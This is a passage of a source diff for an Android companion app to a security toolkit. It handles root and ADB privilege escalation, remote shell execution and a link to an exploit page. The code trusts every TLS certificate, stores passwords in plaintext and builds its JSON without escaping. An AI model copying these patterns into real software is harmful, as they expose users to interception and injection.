status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
if (!pingOk && !httpOk) {
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
} else if (pingOk && !httpOk) {
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
}
statusText.text = status.toString()
}
}.start()
}
}

View File

@@ -0,0 +1,293 @@
package com.darkhal.archon.ui
import android.Manifest
import android.content.ClipData
import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.core.content.ContextCompat
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.service.PairingReceiver
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.google.android.material.button.MaterialButton
class SetupFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var btnStartPairing: MaterialButton
private lateinit var localAdbStatus: TextView
private lateinit var archonServerStatusDot: View
private lateinit var archonServerStatus: TextView
private lateinit var btnStartArchonServer: MaterialButton
private lateinit var btnStopArchonServer: MaterialButton
private lateinit var btnShowCommand: MaterialButton
private lateinit var serverAdbStatus: TextView
private lateinit var btnBootstrapUsb: MaterialButton
private lateinit var rootStatus: TextView
private lateinit var btnCheckRoot: MaterialButton
private lateinit var btnRootExploit: MaterialButton
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
// Notification permission request (Android 13+)
private val notificationPermissionLauncher = registerForActivityResult(
ActivityResultContracts.RequestPermission()
) { granted ->
if (granted) {
startPairingNotification()
} else {
appendLog("Notification permission denied — cannot show pairing notification")
appendLog("Grant notification permission in app settings")
}
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_setup, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
localAdbStatus = view.findViewById(R.id.local_adb_status)
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
archonServerStatus = view.findViewById(R.id.archon_server_status)
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
btnShowCommand = view.findViewById(R.id.btn_show_command)
serverAdbStatus = view.findViewById(R.id.server_adb_status)
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
rootStatus = view.findViewById(R.id.root_status)
btnCheckRoot = view.findViewById(R.id.btn_check_root)
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
outputLog = view.findViewById(R.id.setup_output_log)
setupListeners()
initializeStatus()
}
private fun setupListeners() {
// ── Wireless Debugging (Shizuku-style notification) ──
btnStartPairing.setOnClickListener {
// Check notification permission for Android 13+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(
requireContext(), Manifest.permission.POST_NOTIFICATIONS
) != PackageManager.PERMISSION_GRANTED
) {
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
return@setOnClickListener
}
}
startPairingNotification()
}
// ── Archon Server ──
btnStartArchonServer.setOnClickListener {
btnStartArchonServer.isEnabled = false
appendLog("Starting Archon Server...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnStartArchonServer.isEnabled = true
appendLog(result.message)
updateArchonServerStatus()
if (result.success) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnStopArchonServer.setOnClickListener {
appendLog("Stopping Archon Server...")
Thread {
val stopped = ArchonClient.stopServer(requireContext())
handler.post {
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}.start()
}
btnShowCommand.setOnClickListener {
val cmd = ArchonClient.getBootstrapCommand(requireContext())
appendLog("ADB command to start Archon Server:")
appendLog("adb shell \"$cmd\"")
// Copy to clipboard
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
}
// ── USB via AUTARCH ──
btnBootstrapUsb.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
return@setOnClickListener
}
btnBootstrapUsb.isEnabled = false
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnBootstrapUsb.isEnabled = true
appendLog(result.message)
if (result.success) {
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
// ── Root ──
btnCheckRoot.setOnClickListener {
appendLog("Checking root access...")
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
if (hasRoot) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnRootExploit.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab")
return@setOnClickListener
}
val url = "https://$serverIp:$serverPort/android-exploit"
try {
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
appendLog("Opened exploit page in browser")
} catch (e: Exception) {
appendLog("Could not open browser: ${e.message}")
}
}
}
private fun startPairingNotification() {
appendLog("Showing pairing notification...")
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
appendLog("Enter the 6-digit code in the notification")
PairingReceiver.showPairingNotification(requireContext())
localAdbStatus.text = "Status: waiting for pairing code in notification..."
}
private fun initializeStatus() {
appendLog("Checking available privilege methods...")
val ctx = requireContext()
PrivilegeManager.init(
ctx,
PrefsManager.getServerIp(ctx),
PrefsManager.getWebPort(ctx)
)
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
val method = PrivilegeManager.refreshMethod()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
val serverIp = PrefsManager.getServerIp(ctx)
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
} else {
"Server: not configured — set IP in Settings or SCAN on Dashboard"
}
updateArchonServerStatus()
updatePrivilegeStatus()
appendLog("Best method: ${method.label}")
}
}.start()
}
private fun updatePrivilegeStatus() {
val method = PrivilegeManager.getAvailableMethod()
val isReady = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, isReady)
privilegeStatusText.text = "Privilege: ${method.label}"
}
private fun updateArchonServerStatus() {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
handler.post {
setStatusDot(archonServerStatusDot, running)
archonServerStatus.text = if (running) {
"Status: Running ($info)"
} else {
"Status: Not running"
}
btnStopArchonServer.isEnabled = running
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(25)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
}

View File

@@ -0,0 +1,209 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import java.net.CookieManager
import java.net.CookiePolicy
import java.net.HttpURLConnection
import java.net.URL
/**
* Manages authentication with the AUTARCH web server.
*
* Handles login via JSON API, cookie storage, and attaching
* the session cookie to all outbound HTTP requests.
*/
object AuthManager {
private const val TAG = "AuthManager"
private const val PREFS_NAME = "archon_auth"
private const val KEY_USERNAME = "username"
private const val KEY_PASSWORD = "password"
private const val KEY_SESSION_COOKIE = "session_cookie"
private const val KEY_LOGGED_IN = "logged_in"
@Volatile
private var sessionCookie: String? = null
/**
* Log in to the AUTARCH web server.
* Returns true on success. Stores the session cookie.
*/
fun login(context: Context, username: String, password: String): LoginResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
return LoginResult(false, "No server IP configured")
}
return try {
val url = URL("$baseUrl/api/login")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 10000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
// Extract Set-Cookie header
val cookie = conn.getHeaderField("Set-Cookie")
conn.disconnect()
if (code == 200 && body.contains("\"ok\":true")) {
// Store credentials and cookie
sessionCookie = cookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_USERNAME, username)
.putString(KEY_PASSWORD, password)
.putString(KEY_SESSION_COOKIE, cookie ?: "")
.putBoolean(KEY_LOGGED_IN, true)
.apply()
Log.i(TAG, "Login successful for $username")
LoginResult(true, "Logged in as $username")
} else {
Log.w(TAG, "Login failed: HTTP $code - $body")
LoginResult(false, "Invalid credentials")
}
} catch (e: Exception) {
Log.e(TAG, "Login error", e)
LoginResult(false, "Connection error: ${e.message}")
}
}
/**
* Check if we have stored credentials and a valid session.
*/
fun isLoggedIn(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
prefs.getString(KEY_USERNAME, null) != null
}
/**
* Get stored username.
*/
fun getUsername(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_USERNAME, "") ?: ""
}
/**
* Get stored password.
*/
fun getPassword(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_PASSWORD, "") ?: ""
}
/**
* Re-login using stored credentials (refreshes session cookie).
*/
fun refreshSession(context: Context): Boolean {
val username = getUsername(context)
val password = getPassword(context)
if (username.isEmpty() || password.isEmpty()) return false
return login(context, username, password).success
}
/**
* Attach the session cookie to an HttpURLConnection.
* Call this before sending any request to the AUTARCH server.
*/
fun attachSession(context: Context, conn: HttpURLConnection) {
val cookie = sessionCookie ?: run {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.getString(KEY_SESSION_COOKIE, null)
}
if (cookie != null) {
conn.setRequestProperty("Cookie", cookie)
}
}
/**
* Make an authenticated POST request to the AUTARCH server.
* Handles cookie attachment and auto-refreshes session on 401.
*/
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
return try {
var result = doPost(context, "$baseUrl$path", jsonPayload)
// If 401, try refreshing session once
if (result.code == 401 || result.code == 302) {
Log.i(TAG, "Session expired, refreshing...")
if (refreshSession(context)) {
result = doPost(context, "$baseUrl$path", jsonPayload)
}
}
result
} catch (e: Exception) {
Log.e(TAG, "Authenticated POST failed", e)
HttpResult(-1, "", "Connection error: ${e.message}")
}
}
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
val url = URL(urlStr)
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.instanceFollowRedirects = false
conn.doOutput = true
attachSession(context, conn)
conn.outputStream.write(jsonPayload.toByteArray())
val code = conn.responseCode
// Capture new cookie if server rotates it
val newCookie = conn.getHeaderField("Set-Cookie")
if (newCookie != null) {
sessionCookie = newCookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
}
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
return HttpResult(code, body, "")
}
/**
* Logout — clear stored credentials and cookie.
*/
fun logout(context: Context) {
sessionCookie = null
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().clear().apply()
Log.i(TAG, "Logged out")
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class LoginResult(val success: Boolean, val message: String)
data class HttpResult(val code: Int, val body: String, val error: String)
}

View File

@@ -0,0 +1,80 @@
package com.darkhal.archon.util
import android.content.Context
import android.content.SharedPreferences
object PrefsManager {
private const val PREFS_NAME = "archon_prefs"
private const val KEY_SERVER_IP = "server_ip"
private const val KEY_WEB_PORT = "web_port"
private const val KEY_ADB_PORT = "adb_port"
private const val KEY_USBIP_PORT = "usbip_port"
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
private const val KEY_BBS_ADDRESS = "bbs_address"
private const val DEFAULT_SERVER_IP = ""
private const val DEFAULT_WEB_PORT = 8181
private const val DEFAULT_ADB_PORT = 5555
private const val DEFAULT_USBIP_PORT = 3240
private const val DEFAULT_BBS_ADDRESS = ""
private fun prefs(context: Context): SharedPreferences {
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
}
fun getServerIp(context: Context): String {
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
}
fun setServerIp(context: Context, ip: String) {
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
}
fun getWebPort(context: Context): Int {
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
}
fun setWebPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
}
fun getAdbPort(context: Context): Int {
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
}
fun setAdbPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
}
fun getUsbIpPort(context: Context): Int {
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
}
fun setUsbIpPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
}
fun isAutoRestartAdb(context: Context): Boolean {
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
}
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
}
fun getBbsAddress(context: Context): String {
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
}
fun setBbsAddress(context: Context, address: String) {
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
}
fun getAutarchBaseUrl(context: Context): String {
val ip = getServerIp(context)
val port = getWebPort(context)
return "https://$ip:$port"
}
}

View File

@@ -0,0 +1,199 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import java.net.HttpURLConnection
import java.net.URL
/**
* Central privilege escalation chain manager.
* Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE
*
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
* started via app_process through an ADB connection. It replaces Shizuku entirely.
*/
object PrivilegeManager {
private const val TAG = "PrivilegeManager"
enum class Method(val label: String) {
ROOT("Root (su)"),
ARCHON_SERVER("Archon Server"),
LOCAL_ADB("Wireless ADB"),
SERVER_ADB("Server ADB"),
NONE("No privileges")
}
private var cachedMethod: Method? = null
private var serverIp: String = ""
private var serverPort: Int = 8181
private var appContext: Context? = null
/**
* Initialize with app context and server connection info.
*/
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
appContext = context.applicationContext
this.serverIp = serverIp
this.serverPort = serverPort
cachedMethod = null
}
/**
* Update the AUTARCH server connection info.
*/
fun setServerConnection(ip: String, port: Int) {
serverIp = ip
serverPort = port
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
cachedMethod = null
}
}
/**
* Determine the best available privilege method.
*/
fun getAvailableMethod(): Method {
cachedMethod?.let { return it }
val method = when {
checkRoot() -> Method.ROOT
checkArchonServer() -> Method.ARCHON_SERVER
checkLocalAdb() -> Method.LOCAL_ADB
checkServerAdb() -> Method.SERVER_ADB
else -> Method.NONE
}
cachedMethod = method
Log.i(TAG, "Available method: ${method.name}")
return method
}
/**
* Force a re-check of available methods.
*/
fun refreshMethod(): Method {
cachedMethod = null
return getAvailableMethod()
}
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
/**
* Execute a command via the best available method.
*/
fun execute(command: String): ShellResult {
return when (getAvailableMethod()) {
Method.ROOT -> executeViaRoot(command)
Method.ARCHON_SERVER -> executeViaArchonServer(command)
Method.LOCAL_ADB -> executeViaLocalAdb(command)
Method.SERVER_ADB -> executeViaServer(command)
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
}
}
fun getStatusDescription(): String {
return when (getAvailableMethod()) {
Method.ROOT -> "Connected via root shell"
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
Method.LOCAL_ADB -> "Connected via Wireless ADB"
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
Method.NONE -> "No privilege access — run Setup"
}
}
// ── Method checks ─────────────────────────────────────────────
private fun checkRoot(): Boolean {
return ShellExecutor.isRootAvailable()
}
private fun checkArchonServer(): Boolean {
val ctx = appContext ?: return false
return ArchonClient.isServerRunning(ctx)
}
private fun checkLocalAdb(): Boolean {
return LocalAdbClient.isConnected()
}
private fun checkServerAdb(): Boolean {
if (serverIp.isEmpty()) return false
return try {
val url = URL("https://$serverIp:$serverPort/hardware/status")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
// ── Execution backends ────────────────────────────────────────
private fun executeViaRoot(command: String): ShellResult {
return ShellExecutor.executeAsRoot(command)
}
private fun executeViaArchonServer(command: String): ShellResult {
val ctx = appContext ?: return ShellResult("", "No app context", -1)
return ArchonClient.execute(ctx, command)
}
private fun executeViaLocalAdb(command: String): ShellResult {
return LocalAdbClient.execute(command)
}
private fun executeViaServer(command: String): ShellResult {
if (serverIp.isEmpty()) {
return ShellResult("", "Server not configured", -1)
}
return try {
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"serial":"any","command":"$command"}"""
conn.outputStream.write(payload.toByteArray())
val responseCode = conn.responseCode
val response = if (responseCode in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
}
conn.disconnect()
if (responseCode in 200..299) {
val stdout = extractJsonField(response, "stdout") ?: response
val stderr = extractJsonField(response, "stderr") ?: ""
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
ShellResult(stdout, stderr, exitCode)
} else {
ShellResult("", "Server HTTP $responseCode: $response", -1)
}
} catch (e: Exception) {
Log.e(TAG, "Server execute failed", e)
ShellResult("", "Server error: ${e.message}", -1)
}
}
private fun extractJsonField(json: String, field: String): String? {
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
val match = pattern.find(json)
return match?.groupValues?.get(1)
}
}

View File

@@ -0,0 +1,59 @@
package com.darkhal.archon.util
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.concurrent.TimeUnit
data class ShellResult(
val stdout: String,
val stderr: String,
val exitCode: Int
)
object ShellExecutor {
private const val DEFAULT_TIMEOUT_SEC = 10L
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Error: ${e.message}", -1)
}
}
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Root error: ${e.message}", -1)
}
}
fun isRootAvailable(): Boolean {
val result = execute("which su")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
}

View File

@@ -0,0 +1,49 @@
package com.darkhal.archon.util
import java.net.HttpURLConnection
import java.security.SecureRandom
import java.security.cert.X509Certificate
import javax.net.ssl.HostnameVerifier
import javax.net.ssl.HttpsURLConnection
import javax.net.ssl.SSLContext
import javax.net.ssl.TrustManager
import javax.net.ssl.X509TrustManager
/**
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
*
* Since AUTARCH generates a self-signed cert at first launch,
* Android's default trust store will reject it. This helper
* creates a permissive SSLContext for LAN-only connections to
* the known AUTARCH server.
*/
object SslHelper {
private val trustAllManager = object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
}
private val trustAllHostname = HostnameVerifier { _, _ -> true }
private val sslContext: SSLContext by lazy {
SSLContext.getInstance("TLS").apply {
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
}
}
val socketFactory get() = sslContext.socketFactory
/**
* Apply self-signed cert trust to a connection.
* If the connection is HTTPS, sets the permissive SSLSocketFactory
* and hostname verifier. Plain HTTP connections are left unchanged.
*/
fun trustSelfSigned(conn: HttpURLConnection) {
if (conn is HttpsURLConnection) {
conn.sslSocketFactory = socketFactory
conn.hostnameVerifier = trustAllHostname
}
}
}

View File

@@ -0,0 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<vector
xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<!-- Background circle -->
<path
android:fillColor="#0D0D0D"
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
<!-- Stylized "A" / Greek column -->
<!-- Left pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
<!-- Right pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
<!-- Top triangle / pediment -->
<path
android:fillColor="#00FF41"
android:pathData="M54,18 L38,28 L70,28 Z" />
<!-- Crossbar -->
<path
android:fillColor="#00FF41"
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
<!-- Base -->
<path
android:fillColor="#00FF41"
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
</vector>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="#00FF41">
<!-- Wrench/build icon -->
<path
android:fillColor="@android:color/white"
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
</vector>

View File

@@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="32dp">
<!-- Logo / Title -->
<TextView
android:id="@+id/login_title"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON"
android:textColor="@color/primary"
android:textSize="36sp"
android:textStyle="bold"
android:fontFamily="monospace"
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_chainStyle="packed"
app:layout_constraintVertical_bias="0.3" />
<TextView
android:id="@+id/login_subtitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTARCH Companion"
android:textColor="@color/text_secondary"
android:textSize="14sp"
android:layout_marginTop="4dp"
android:layout_marginBottom="40dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_title" />
<!-- Server IP -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_server_ip"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="40dp"
android:hint="Server IP"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:hint="10.0.0.26" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Username -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_username"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Username"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_username"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Password -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_password"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Password"
app:endIconMode="password_toggle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_username">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="textPassword"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Port (smaller, below password) -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_port"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="120dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Port"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_password">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:text="8181"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Auto-detect button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_detect"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTO-DETECT"
android:textColor="@color/primary"
app:layout_constraintBottom_toBottomOf="@id/layout_port"
